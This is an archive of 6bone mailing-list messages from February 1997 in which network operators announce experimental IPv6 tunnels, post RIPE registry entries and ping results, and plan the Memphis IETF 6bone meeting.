0.0.1.2.0.0.f.5.ip6.int.	oct96
0.0.a.3.5.1.f.5.ip6.int.	oct96
0.0.5.f.6.0.f.5.ip6.int.	nov96  (no name servers yet)
0.0.f.2.2.0.f.5.ip6.int.	nov96
0.0.b.8.6.1.f.5.ip6.int.	dec96
0.0.1.1.c.b.f.5.ip6.int.	dec96
0.0.0.0.e.2.f.5.ip6.int.	dec96
0.0.f.4.b.0.f.5.ip6.int.	dec96
0.0.3.6.7.0.f.5.ip6.int.	dec96
0.0.7.f.5.1.f.5.ip6.int.	dec96
0.0.d.b.2.0.f.5.ip6.int.	jan97
0.0.9.c.4.0.f.5.ip6.int.	jan97
0.0.1.9.5.1.f.5.ip6.int.	jan97
0.0.2.1.3.0.f.5.IP6.INT.	feb97



From majordom@ISI.EDU  Wed Feb  5 02:05:41 1997
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From: "David M. Meyer" <meyer@network-services.uoregon.edu>
Message-Id: <199702051805.KAA18677@network-services.uoregon.edu>
Subject: Re: comments on David Meyers's RPSL draft
To: RLFink@lbl.gov (Bob Fink LBNL)
Date: Wed, 5 Feb 1997 10:05:41 -0800 (PST)
Cc: 6bone@ISI.EDU
In-Reply-To: <v03007813af1e6291402a@[128.3.9.22]> from "Bob Fink LBNL" at Feb 5, 97 08:18:06 am
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	Bob,

> I have seen no comments on this list regarding David Meyer's "Representing
> Tunnels in RPSL" internet draft.

	I haven't see any comments either. The current
	plan is to fold this into the RPSL document. 
	Any comments would be greatly appreciated.

	Dave


From majordom@ISI.EDU  Wed Feb  5 21:13:46 1997
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To: 6bone@isi.edu
Cc: Erik-Jan.Bos@surfnet.nl, Niels.denOtter@surfnet.nl
Subject: New 6bone site: SURFnet in The Netherlands
From: Erik-Jan Bos <erik-jan.bos@surfnet.nl>
X-Url: http://www.surfnet.nl/surfnet/persons/bos/
X-Organization: SURFnet bv, Utrecht, The Netherlands
X-Phone-Number: +31 30 2305305
X-Fax-Number: +31 30 2305329
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6boners,

SURFnet in The Netherlands, Europe is a new site on the 6bone. Currently
we have a static tunnel with CICnet, but we plan to move to RIPng ASAP:

zesbot root % /usr/inet6/bin/ping 6bone.cic.net
PING 6bone.cic.net (5f04:c900:8367:100:1:0:c8e:50c2): 56 data bytes
64 bytes from 5f04:c900:8367:100:1:0:c8e:50c2: icmp_seq=0 ttl=64 time=136.109 ms
64 bytes from 5f04:c900:8367:100:1:0:c8e:50c2: icmp_seq=1 ttl=64 time=146.419 ms
64 bytes from 5f04:c900:8367:100:1:0:c8e:50c2: icmp_seq=2 ttl=64 time=133.221 ms
64 bytes from 5f04:c900:8367:100:1:0:c8e:50c2: icmp_seq=3 ttl=64 time=141.788 ms
64 bytes from 5f04:c900:8367:100:1:0:c8e:50c2: icmp_seq=4 ttl=64 time=137.734 ms
64 bytes from 5f04:c900:8367:100:1:0:c8e:50c2: icmp_seq=5 ttl=64 time=132.839 ms
64 bytes from 5f04:c900:8367:100:1:0:c8e:50c2: icmp_seq=6 ttl=64 time=136.547 ms
64 bytes from 5f04:c900:8367:100:1:0:c8e:50c2: icmp_seq=7 ttl=64 time=243.101 ms
 
--- 6bone.cic.net ping statistics ---
8 packets transmitted, 8 packets received, 0% packet loss
round-trip min/avg/max = 132.839/150.969/243.101 ms

Our box that you should be able to ping is called
"zesbot.ipv6.surfnet.nl".

FYI.

__
 
Erik-Jan.

From majordom@ISI.EDU  Thu Feb  6 12:01:05 1997
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Date: Thu, 6 Feb 1997 11:01:05 +0100 (MET)
From: JOIN Project Team <ipng@uni-muenster.de>
Reply-To: JOIN Project Team <join@uni-muenster.de>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6BONE Mailer <6bone@ISI.EDU>
Subject: new tunnel JOIN <-> CICNET
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Hi Bob,

we configured a new tunnel JOIN <--> CICNET:

% traceroute -i6 5f04:c900:8367:100:1:0:c8e:50c2
 1  5f04:c900:8367:100:1:0:c8e:50c2  140 ms  139 ms  147 ms

The RIPE entries are updated...

All the best
- Guido

------------------------------------------------------------------------------
JOIN -- IP Version 6 in the WiN   Guido Wessendorf
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: +49 251 83 31639, fax: +49 251 83 31653, email: wessend@uni-muenster.de
------------------------------------------------------------------------------




From majordom@ISI.EDU  Thu Feb  6 14:53:36 1997
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Date: Thu, 6 Feb 1997 13:53:36 +0100 (MET)
From: JOIN Project Team <ipng@uni-muenster.de>
Reply-To: JOIN Project Team <join@uni-muenster.de>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6BONE Mailer <6bone@ISI.EDU>
Subject: backbone links diagram
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Hi Bob,

please can you annotate that IDRPv6 is used over the JOIN<>UNI-C tunnel
in your backbone links diagram. 

What do you think about a new kind of line type (or other color) for IDRP
links (or other routing protocols) between backbone sites?

Thanks, all the best
- Guido



From majordom@ISI.EDU  Thu Feb  6 03:39:19 1997
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One additional minor change:

	- Sites that do not provided a pingable v6 address in their
          registry will not have their v4 tunnel address(es) pinged.

Rob G.

From majordom@ISI.EDU  Wed Feb  5 22:48:13 1997
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Date: Thu, 6 Feb 1997 06:48:13 -0800
To: "Dorian R. Kim" <dorian@cic.net>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: addition of backbone tunnel for your map
Cc: 6bone@isi.edu (6BONE Mailer)
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At 10:47 AM -0800 2/5/97, Dorian R. Kim wrote:
>There is a tunnel now between CICNET and JOIN. It's currently running static
>routes of CICNET and JOIN prefixen only but will be RIPng as soon as JOIN
>moves to RIPng (should be within week or so)

Will add this tunnel today.


>I'm sticking pretty much to policy described in CICNET RR object in setting up
>tunnels, i.e. I'm only setting up tunnels to sites connected to CICNET or,
>sites connected to ISPs with direct connection to CICNET, which are OARnet,
>Michnet, ESnet, DIGEX and MCI.

This is excellent policy.  Thanks!


Bob



From majordom@ISI.EDU  Wed Feb  5 23:24:15 1997
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Date: Thu, 6 Feb 1997 07:24:15 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone session reservation for the Memphis IETF
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As I've heard nothing to the contrary, I'm going to request a 1 hour slot
for the 6bone meeting in Memphis.  I will also specify no conflicts with
IPng related activities.


Thanks,

Bob



From majordom@ISI.EDU  Wed Feb  5 23:20:41 1997
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Date: Thu, 6 Feb 1997 07:20:41 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
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6bone overview diagram version 50

	1.  new tunnel from CU-BOULDER/US to UO/US

	2.  corrected SURFNET/US to SURFNET/NL  sorry about that!

6bone backbone diagram version 3

	1.  new RIPng links

	2.  colors for RIPng and IDRPv6 link

	3.  some new static routes


Welcome to CU-BOULDER, and the other new sites of recent days!


Thanks,

Bob



From majordom@ISI.EDU  Wed Feb  5 23:32:01 1997
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Date: Thu, 6 Feb 1997 07:32:01 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Memphis IETF 6bone meeting planning
Sender: owner-6bone@ISI.EDU
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Status: RO

Please ignore my last message.  I thought this had been sent out, but I
hadn't.  I was waiting for some private area director comment on our BOF
versus WG status.  Subsequently Scott Bradner communicated back to me that
given restructuring events at the IESG, they have still not processed us.
Real soon now...

Anyway, my questions for the group are below, so here goes:


Given that the IETF has taken input from many of us on allowing shorter
meetings when possible (as a way of extending the available time for
meetings) we should consider a one hour time slot for the 6bone meeting in
Memphis.

The way I'm seeing the 6bone meetings, they attract so many visitors that
we can't keep it intimate and small enough to have much meaningful
unstructured dialog.  Hence an hour may be worthwhile providing we are well
structured on whay we want to cover/discuss well before we get there.

So...any comments on this?

My take on an agenda is:

1. Finish up discussion on topology, addressing and routing for a new 6bone
infrastructure better suited to IPv6 testbed goals.

2. Finish up on what direction to take with the RIPE-NCC 6bone routing
registry.

3. Decide how to proceed with an Internet-Draft outlining requirements for the
new 6bone infrastructure.

4. Interact with RPS WG on extensions for "Representing Tunnels
in RPSL" based on David Meyer's Internet-Draft.

Thanks,

Bob
===========================================================================
===========================================================================
6BONE CHARTER, GOALS & MILESTONES
===========================================================================
Goals and Milestones:

Jan 97 / Establish and submit initial charter, goals, and first year Goals
and Milestones (this list).

Jan-Mar 97 / Discussion on topology, addressing and routing for a new 6bone
infrastructure better suited to IPv6 testbed goals.

Jan-Mar 97 / Discussion on the future of the RIPE-NCC 6bone routing
registry and how it relates to the RPSL work.

Jan-Dec 97 / Continuing interaction with, and feedback to, the IPng working
groups at the IETF based on 6bone experience.

Mar-Apr 97 / Begin work on an Internet-Draft outlining requirements for the
new 6bone infrastructure.

Apr 97 / Begin to restructure the 6bone testbed based on discussions.

Jan-Feb 97 / Interact with RPS WG on extensions for "Representing Tunnels
in RPSL" based on David Meyer's Internet-Draft.

Apr 97 / Decide what direction to take with the RIPE-NCC 6bone routing
registry.

Aug 97 / Finish work on Internet-Draft outlining requirements for the new
6bone infrastructure.

Sep 97 / Interact with MBONED on their work for co-existence strategies for
IPv4 multicast and IPv6 multicast. (This based on the MBONED milestones.)

Dec 97 / Begin work on a document describing operational practices and
experiences for the 6bone.

==========================================================================
Draft 6bone Charter as presented at the BOF

The 6bone Working Group is a forum for information concerning the
deployment, engineering, and operation of ipv6 protocols and procedures
in the global Internet. This activity will include, but not be limited to:

- Deployment of ipv6 transport and routing in the global Internet via a
"6bone" testbed to assist in the following.

- Creation of "practice and experience" informational RFC documents that
capture the experiences of those who have deployed, and are deploying,
various ipv6 technologies.

- Feedback to various IETF ipv6-related activities, based on testbed
experience, where appropriate.

- Development of mechanisms and procedures to aid in the transition to
native ipv6, where appropriate.

- Development of mechanisms and procedures for sharing operational
information to aid in operation of global ipv6 routing.

===========================================================================
===========================================================================
CALL FOR WG SCHEDULING AT MEMPHIS IETF
===========================================================================
We will be taking scheduling requests as of today.  The CUT-OFF
for requesting slots is MONDAY, March 24, 1997.

PLEASE NOTE THE FOLLOWING CHANGES:

- Wednesday has been broken down to one hour sessions.  If you know
that you need only an hour or less for your working groups, please
indicate that to me and your session will be scheduled on Wednesday.
If we do not have sufficient requests for one hour sessions, two one
hour sessions will be combined for a normal two hour session.

- Working groups will be allowed a MAXIMUM of two slots.  If you
feel you may need more, please let me know.  You will get additional
slots only if slots are available after agenda scheduling has closed
(currently March 24).

- BOF's WILL NOT be scheduled unless the AD approved request is
accompanied by a full description (including name and acronym) and
an agenda.

The current agenda has sessions scheduled each night, we will have
either Monday or Tuesday evening free but do not know which one at
this time.  With respect to working group and BOF requests, please
note the following:

1.  All scheduling requests MUST be sent to the appropriate Area
    Directors with a copy to: <agenda@ietf.org>.  ALL
    requests are subject to AD approval.  Please be sure to
    specify the following:

    a.  Working Group (or BOF) Name. (Include proposed BOF
        title - 35 or fewer characters please, and acronym
        - 8 characters max.);

    b.  Area under which Working Group (or BOF) appears;

    c.  Conflicts you wish to avoid (please be as specific as
        possible.)  You will be notified of any conflicts which
        arise. Conflicts should then be resolved by the Chairs
        and the final outcome sent to: agenda@ietf.org

    d.  Expected Attendance (attendance figures from December 1996
        will be sent at a later time);

    e.  Any special requests. (i.e., do you want your session
        MULTICAST - mbone slots cannot always be guaranteed;
        special seating arrangements).

===========================================================================
===========================================================================



From majordom@ISI.EDU  Thu Feb  6 08:39:11 1997
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: Memphis IETF 6bone meeting planning 
In-Reply-To: Your message of "Thu, 06 Feb 97 07:32:01 PST."
             <v0300782eaf1d8dc93bcc@[128.3.9.22]> 
Date: Thu, 06 Feb 97 13:39:11 -0500
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Bob,

Regardless of topic or time.  Please get a very larger room for our
meeting.  Lots of people will come.

thanks
/jim

From majordom@ISI.EDU  Thu Feb  6 03:17:08 1997
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Date: Thu, 6 Feb 1997 11:17:08 -0800 (PST)
From: hycsw@california.sandia.gov (Helen Chen)
Message-Id: <199702061917.LAA13440@california.sandia.gov>
To: 6bone@isi.edu
Subject: Sandia connected to the 6bone
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Hi,

I am glad to announce that Sandia, California
is up and running on the 6bone.  I've set up 
a tunnel to those with a file in the RIPE-NCC
directory. Currently there are 1 tunnels up and 
running in both directions. It is to DEC-CA.
If you wish to connect to us, please complete the
tunnel from your end and send me a notice.  Thanks.

The RIPE database entry is as follows:
site:           Sandia National Laboratories, CA
location:       Livermore, CA, USA
loc-string:     ???
prefix:         5f01:2500:92f6:f300::/64
ping:           5f01:2500:92f6:f300:00f3:0000:f823:1ecf
taichi6.ca.sandia.gov
ping:           5f01:2500:92f6:f300:00f3:0800:2b91:e946
erin6.ca.sandia.gov
tunnel          146.246.243.101 192.32.29.62            to Bay
tunnel          146.246.243.101 192.31.7.104            to Cisco
tunnel          146.246.243.101 204.123.2.236           to Digital-CA
tunnel          146.246.243.101 198.128.2.27            to ESnet
tunnel          146.246.243.101 132.250.90.5            to NRL
tunnel          146.246.243.101 128.219.8.84            to ORNL
tunnel          146.246.243.101 193.0.0.234             to RIPE-NCC
tunnel          146.246.243.101 192.9.5.7               to Sun
tunnel          146.246.243.101 131.179.96.167          to UCLA
tunnel          146.246.243.101 204.162.228.3           to Xerox
remark:
contact:        ipv6@ca.sandia.gov
status:         experimental
changed:        hycsw@ca.sandia,gov 2/5/97

------------------------------------------------------------------------
Helen Chen                      Phone:     510-294-2991
Sandia National Laboratories    FAX:       510-294-1225
P.O. Box 969, MS9011/ORG 8910   INTERNET:  hycsw@ca.sandia.gov
Livermore, CA  94551-0969       UUCP:      uunet!lll-winken!snll-arpagw!hycsw

From majordom@ISI.EDU  Thu Feb  6 05:32:59 1997
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References: Your message of "Thu, 06 Feb 97 07:32:01 PST."            
 <v0300782eaf1d8dc93bcc@[128.3.9.22]>
Mime-Version: 1.0
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Date: Thu, 6 Feb 1997 13:32:59 -0800
To: <bound@zk3.dec.com>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Memphis IETF 6bone meeting planning
Cc: 6bone@ISI.EDU (6BONE Mailer)
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At 10:39 AM -0800 2/6/97, <bound@zk3.dec.com> wrote:
>Bob,
>
>Regardless of topic or time.  Please get a very larger room for our
>meeting.  Lots of people will come.

Will certainly try.

Bob



From majordom@ISI.EDU  Thu Feb  6 06:08:53 1997
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Date: Thu, 6 Feb 1997 14:08:53 -0800 (PST)
From: hycsw@california.sandia.gov (Helen Chen)
Message-Id: <199702062208.OAA06153@california.sandia.gov>
To: 6bone@isi.edu
Subject: Re: Sandia connected to the 6bone
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>> I am glad to announce that Sandia, California
>> is up and running on the 6bone.  I've set up 
>> a tunnel to those with a file in the RIPE-NCC
>> directory. Currently there are 1 tunnels up and 
>> running in both directions. It is to DEC-CA.
>> If you wish to connect to us, please complete the
>> tunnel from your end and send me a notice.  Thanks.

> Tunnels are generally only published after the tunnel has been
> tested. Speking for myself, I would never publish a tunnel that hadn't
> been tested, and I would never create a tunnel without first asking for
> permission directly from the individual responsible for the other end.

Thanks for the pointer and my appologies!  I will call individual sites 
for permissions and verify that all tunnels work before I announce again.  
I am withdrawing my previous announcement.

Helen

From majordom@ISI.EDU  Fri Feb  7 07:14:11 1997
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Date: Fri, 7 Feb 1997 15:14:11 -0800 (PST)
From: hycsw@california.sandia.gov (Helen Chen)
Message-Id: <199702072314.PAA05732@california.sandia.gov>
To: 6bone@isi.edu
Subject: Re: Sandia's 6bone connection
Sender: owner-6bone@ISI.EDU
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Hi,

Sandia now has a tunnel to the 6bone via ESnet.   The following info
is in the RIPE registry:

site:           Sandia National Laboratories, CA
location:       Livermore, CA, USA
loc-string:     
prefix:         5f01:2500:92f6:f300::/64
ping:           5f01:2500:92f6:f300:00f3:0000:f823:1ecf
taichi6.ca.sandia.gov
ping:           5f01:2500:92f6:f300:00f3:0800:2b91:e946
erin6.ca.sandia.gov
tunnel          146.246.243.101 198.128.2.27            to ESnet
remark:
contact:        ipv6@ca.sandia.gov
status:         experimental
changed:        hycsw@ca.sandia.gov 2/7/97

Helen
 
------------------------------------------------------------------
Helen Chen                      Phone:     510-294-2991
Sandia National Laboratories    FAX:       510-294-1225
P.O. Box 969, MS9011/ORG 8910   INTERNET:  hycsw@ca.sandia.gov
Livermore, CA  94551-0969       


From majordom@ISI.EDU  Mon Feb 10 02:05:13 1997
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Date: Mon, 10 Feb 1997 10:05:13 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone diagram change
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6bone diagram version 51:

1.  change PSC/US to PROCESS/US (it's connected to DIGITAL-CA/US)

2.  new site SANDIA-CA/US tunnelled to ESNET/US

	WELCOME TO SANDIA Livermore!

3.  minor editing - no change in content.


Thanks,

Bob



From majordom@ISI.EDU  Tue Feb 11 03:23:16 1997
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6bone diagram version 52

	made UNH a transit node with a tunnel to DIGITAL-NH.


Bob



From majordom@ISI.EDU  Tue Feb 11 23:29:05 1997
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Date: Wed, 12 Feb 1997 07:29:05 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagrams
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6bone diagram version 53 and

6bone backbone lionks diagram version 4


	added TELEBIT/DK as a backbone site as they are readying to
	handle leaf and transit site connections

Note their IDRPv6 connectivity.


Bob



From majordom@ISI.EDU  Wed Feb 12 19:00:48 1997
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Date: Wed, 12 Feb 1997 19:00:48 +0000
From: Andrea Rivetti <reevo@alp.net>
Subject: New test page
To: 6bone@isi.edu, silvano@polito.it
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Hi,

we just created a new test page. It is a real-time plot of the number of
islands of the 6Bone and the number of reachable islands from POLITO/IT.
Now we reach less than 50% of all the isles (we are running RIPv6) and I
hope to see a 100% soon! :-)

As you can see our router had memory problems yesterday...

We hope to record the 6Bone explosion!!

The URL is

www.ipv6.polito.it/test/history.html

a new image is generated every GMT night.

regards

Andrea Rivetti & Andrea Spera

From majordom@ISI.EDU  Thu Feb 13 08:35:00 1997
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Date: Thu, 13 Feb 1997 13:35 -0500 (EST)
From: KILLIATD@sysadm.suny.edu
Subject: Looking for 6bone tunnel
To: 6bone@isi.edu
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Hello,

SUNYNet is looking for a tunnel to the 6bone.  We are
NYSERNet/SprintLink connected in Albany NY, USA.  Any suggestions on
where to tunnel to would be appreciated.

Thanks in advance.


Thomas Killian
Network Analyst
SUNYNet Operations
State University of New York
killiatd@sysadm.suny.edu

From majordom@ISI.EDU  Thu Feb 13 11:32:40 1997
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Date: Thu, 13 Feb 1997 16:32:40 -0500
To: 6bone@isi.edu
From: Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>
Subject: 6bone tunnel request
Cc: jimmy.kyriannis@nyu.edu, KILLIATD@sysadm.suny.edu
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New York University would also like a tunnel to the 6bone.  We're also
NYSERNet/SprintLink customers, but out of New York City.

Thanks.


Jimmy

---------------
Jimmy Kyriannis
Assistant Network Manager, New York University Academic Computing Facility
Phone: 212-998-3431
FAX: 212-995-4120
Internet Mail: jimmy.kyriannis@nyu.edu

At 1:35 PM -0500 2/13/97, KILLIATD@sysadm.suny.edu wrote:
>Hello,
>
>SUNYNet is looking for a tunnel to the 6bone.  We are
>NYSERNet/SprintLink connected in Albany NY, USA.  Any suggestions on
>where to tunnel to would be appreciated.
>
>Thanks in advance.
>
>
>Thomas Killian
>Network Analyst
>SUNYNet Operations
>State University of New York
>killiatd@sysadm.suny.edu




From majordom@ISI.EDU  Thu Feb 13 06:51:14 1997
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Date: Thu, 13 Feb 1997 14:51:14 -0800
To: KILLIATD@sysadm.suny.edu, Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Looking for 6bone tunnel
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Thomas and Jimmy,

At 10:35 AM -0800 2/13/97, KILLIATD@sysadm.suny.edu wrote:
>SUNYNet is looking for a tunnel to the 6bone.  We are
>NYSERNet/SprintLink connected in Albany NY, USA.  Any suggestions on
>where to tunnel to would be appreciated.

AND

At 1:32 PM -0800 2/13/97, Jimmy Kyriannis wrote:
>New York University would also like a tunnel to the 6bone.  We're also
>NYSERNet/SprintLink customers, but out of New York City.


For now the closest transit or backbone nodes are BAY/US (greater Boston
area) or UNH/US (New Hampshire).  I would suggest either of them :

	BAY/US	dhaskin@baynetworks.com

	UNH/US	Sebastien.Roy@unh.edu

When we get a backbone/transit site in the NY area later on you can change.


Thanks,

Bob



From majordom@ISI.EDU  Fri Feb 14 15:50:15 1997
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Date: Fri, 14 Feb 1997 20:50:15 -0500
To: 6bone@isi.edu
From: Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>
Subject: RIPng problems with INRIA code over 6bone tunnel
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I realize this may not be a direct 6bone issue, but this seems like a good
place to start since someone on this list may have experience with this
problem.

I'm trying to set up a 6bone tunnel to BAY/US.  I can create a tunnel fine,
and if I create a static route pointing to BAY, I can reach the 6bone.
However, I can't appear to be able to get RIPng (via the ndpd-router
daemon) to pick up any routes from the other side of the tunnel.  I'm
fairly sure this is my problem, as I can't find a great deal of
documentation on the INRIA tunnel mechanism via the SIT interface.

Could someone please e-mail me a sample /etc/rc.ipv6 (or the analogous
script) that sets up their network interfaces and gets RIPng going?

Thanks very much,


Jimmy



From majordom@ISI.EDU  Sat Feb 15 15:15:35 1997
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Date: Sat, 15 Feb 1997 15:15:35 +0000 (GMT)
From: Philip Blundell <pjb27@cam.ac.uk>
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To: Eric Osborne <osborne@notcom.com>
Cc: netdev <netdev@nuclecu.unam.mx>, 6bone@isi.edu
Subject: Re: Linux IPv6 FAQ v3.0 outline - comments welcome!
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On Sat, 15 Feb 1997, Eric Osborne wrote:

> 	-Ports of applications in progress
> 	-What stuff needs to be ported next....
> 		-IPv6-porters mailing list?  
> 			-is there one?  should there be?

I don't believe there is such a list, though I think it would be a useful
thing to have. This is, I think, starting to stray towards the realm of
the 6bone people rather than the Linux netdev list.  Hopefully since the
basic API is fairly standardised, IPv6-capable software will be
interesting to people running non-Linux systems.

Would anybody be interested in setting this list up?

phil


From majordom@ISI.EDU  Sat Feb 15 14:36:01 1997
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In-Reply-To: Your message of "Sat, 15 Feb 97 15:15:35 GMT."
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Philip,

The list already exists its the ipv6 implementors list.  You can start
this discussion on that list.

To send mail to this list its at:

ipv6imp@munnari.oz.au

To join send mail to:

ipv6imp-request@munnari.oz.au

/jim


From majordom@ISI.EDU  Sun Feb 16 00:45:08 1997
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Date: Sun, 16 Feb 1997 08:45:08 -0800 (PST)
From: Doug Junkins <junkins@nwnet.net>
To: 6bone@isi.edu
Subject: 6Bone changes for NWNet
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NWNet has changed the endpoint for our 6Bone tunnel from DIGITAL-CA and
has added an additional tunnel to UOREGON (with two more tunnels planned
at this time).  In addition, we have switched to RIPng routing for all
core connections.  Our update RIPE entry is as follows:

site:           NorthWestNet
location:       Bellevue, Washington, USA
loc-string:     47 35 2n 122 8 2w 5m
prefix:         5F02:AD00:C050:0D00/64
ping:           5F02:AD00:C050:0D00:0001:0800:207F:049D 
ping:           5F02:AD00:C050:0D00:0001:0000:0C1A:C8A8
tunnel:         192.220.249.249 204.123.2.236 DIGITAL-CA - RIPng - operational
tunnel:         192.220.249.249 128.223.222.11 UOREGON - RIPng - operational
tunnel:         192.220.249.249 131.103.1.54 CICNET - RIPng - planned
tunnel:         192.220.249.249 137.229.12.248 UALASKA - RIPng - planned
contact:        Doug Junkins <junkins@nwnet.net>
status:         operational
remarks:        nwnet-6bone-gw.nwnet.net is a Cisco 4000M 
remarks:	will add tunnels to people with ipv4 connectivity to
remarks:	NorthWestNet, MCI, Sprint's Seattle POP, and UUNet's
remarks:	Seattle and Portland POPs.
remarks:	Please send connectivity problems and requests to the
remarks:	above contact
changed:        junkins@nwnet.net 970216
source:         RIPE

We will adding additional tunnels to other core sites and to leaf nodes in
the coming weeks.

- Doug

 /  Douglas A. Junkins    |   Network Engineering        \
/   Network Engineer      |   NorthWestNet                \
\   junkins@nwnet.net     |   Bellevue, Washington, USA   /
 \  +1-206-649-7419       |                              /


From majordom@ISI.EDU  Mon Feb 17 13:29:36 1997
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Date: Mon, 17 Feb 1997 21:29:36 -0800 (PST)
From: Doug Junkins <junkins@nwnet.net>
Reply-To: Doug Junkins <junkins@nwnet.net>
To: 6bone@isi.edu
Subject: New Tunnel NWNet <-> CICNet
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NWNet and CICNet have brought up a new RIPng tunnel.

Ping results:

nwnet-6bone-gw#ping ipv6 cicnet1

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F04:C900:8367:0100:0001::0C8E:50C2,
timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 152/177/208 ms
nwnet-6bone-gw#trace ipv6 cicnet1

Type escape sequence to abort.
Tracing the route to cicnet1 (5F04:C900:8367:0100:0001::0C8E:50C2)

  1 cicnet1 (5F04:C900:8367:0100:0001::0C8E:50C2) 144 msec *  148 msec
nwnet-6bone-gw#


Our RIPE record has been updated accordiningly.

- Doug

 /  Douglas A. Junkins    |   Network Engineering        \
/   Network Engineer      |   NorthWestNet                \
\   junkins@nwnet.net     |   Bellevue, Washington, USA   /
 \  +1-206-649-7419       |                              /



From majordom@ISI.EDU  Tue Feb 18 07:00:52 1997
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Subject: f.5.ip6.int
To: joda@pdc.kth.se, kyriann@acf2.nyu.edu
Date: Tue, 18 Feb 1997 15:00:52 -0800 (PST)
Cc: 6bone@ISI.EDU
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Hi there,

AS 12 and AS5601 have ip6.int mappings delegated.


;; QUESTIONS: 
;;      0.0.1.e.5.1.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.1.e.5.1.f.5.ip6.int.        129600  NS      ratatosk.pdc.kth.se.
0.0.1.e.5.1.f.5.ip6.int.        129600  NS      nic.cafax.se.
0.0.1.e.5.1.f.5.ip6.int.        129600  NS      tarpon.pdc.kth.se.

...


;; QUESTIONS: 
;;      0.0.c.0.0.0.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.c.0.0.0.f.5.ip6.int.        123117  NS      EGRESS.NYU.EDU.
0.0.c.0.0.0.f.5.ip6.int.        123117  NS      NYUNSB.NYU.EDU.
0.0.c.0.0.0.f.5.ip6.int.        123117  NS      NYU.EDU.

-- 
--bill

From majordom@ISI.EDU  Tue Feb 18 15:44:17 1997
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Date: Tue, 18 Feb 1997 20:44:17 -0500
To: 6bone@isi.edu
From: Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>
Subject: New tunnel: NYU - BAY
Cc: jimmy.kyriannis@nyu.edu
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New York University has brought up a tunnel to the 6bone.  At this time,
we're statically routed to BAY; once the INRIA software supports RIPng over
tunnels (should be in the next release scheduled for March) we'll support
it.

Here's the RIPE routing registry info:

site:           NYU
location:       New York, New York, USA
prefix:         5f00:0c00:807a:4000:/64
ping:           6bone-gw.ipv6.nyu.edu 5f00:c00:807a:4000:40:0:c0fb:1625
tunnel:         128.122.64.5 192.32.29.62 BAY   (static)
contact:        Jimmy.Kyriannis@nyu.edu
status:         operational Feb. 17, 1997
remark:         Intel FreeBSD 2.1.6 with INRIA IPv6 implementation
remark:         expect to support RIPng with next release of INRIA
remark:         happy to add new tunnels upon request once supporting RIPng
source:         RIPE


Tunnel ping test:

6bone-gw% ping6 5F02:3000:C020:AE00:201D:0000:C020:1D3E
trying to get source for 5F02:3000:C020:AE00:201D:0000:C020:1D3E
source should be ::128.122.64.5
PING 5F02:3000:C020:AE00:201D:0000:C020:1D3E
(5f02:3000:c020:ae00:201d:0:c020:1d3e): 56 data bytes
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=0 ttl=63
time=162.312 ms
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=1 ttl=63
time=137.977 ms
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=2 ttl=63
time=121.438 ms
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=3 ttl=63
time=172.410 ms
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=4 ttl=63
time=193.534 ms
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=5 ttl=63
time=198.979 ms
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=6 ttl=63
time=192.391 ms
^C
--- 5F02:3000:C020:AE00:201D:0000:C020:1D3E ping statistics ---
7 packets transmitted, 7 packets received, 0% packet loss
round-trip min/avg/max = 121.438/168.434/198.979 ms
6bone-gw%

Please let me know if you see any problems with the tunnel connectivity.

Thanks to Bill Manning (ISI), the folks at INRIA and Dimitry Haskin (BAY)
for their help in getting things set up.


Jimmy


---------------
Jimmy Kyriannis
Assistant Network Manager, New York University Academic Computing Facility
Phone: 212-998-3431
FAX: 212-995-4120
Internet Mail: jimmy.kyriannis@nyu.edu



From majordom@ISI.EDU  Wed Feb 19 10:43:00 1997
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Date: Wed, 19 Feb 1997 10:43:00 +0000 (GMT)
From: Guy Davies <guyd@uunet.pipex.com>
To: 6bone@isi.edu
Subject: New Tunnel UUNET/UK to CISCO/US
Message-Id: <Pine.GSO.3.95q.970219103719.347J-100000@swannee.uunet.pipex.com>
X-Ncc-Regid: uk.pipex
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Hi Folks,

Thanks to the folks at Cisco for helping get the tunnel to UUNET UK up and
running.  Here is the RIPE ipv6rr object for the new site....

site:           UUNET-UK
location:       Cambridge, UK
prefix:         5f07:3700/32
ping:           5f07:3700:9e2b:8900:98::c92:145c
tunnel:		158.43.137.157 192.31.7.104 CISCO/US RIPng
contact:        IPv6 operations <ipv6@uunet.pipex.com>
status:         experimental
remark:		DNS operational for forward (ip6.pipex.net) and reverse
remark:		zones
changed:        Guy.Davies@uunet.pipex.com 970219
source:         RIPE

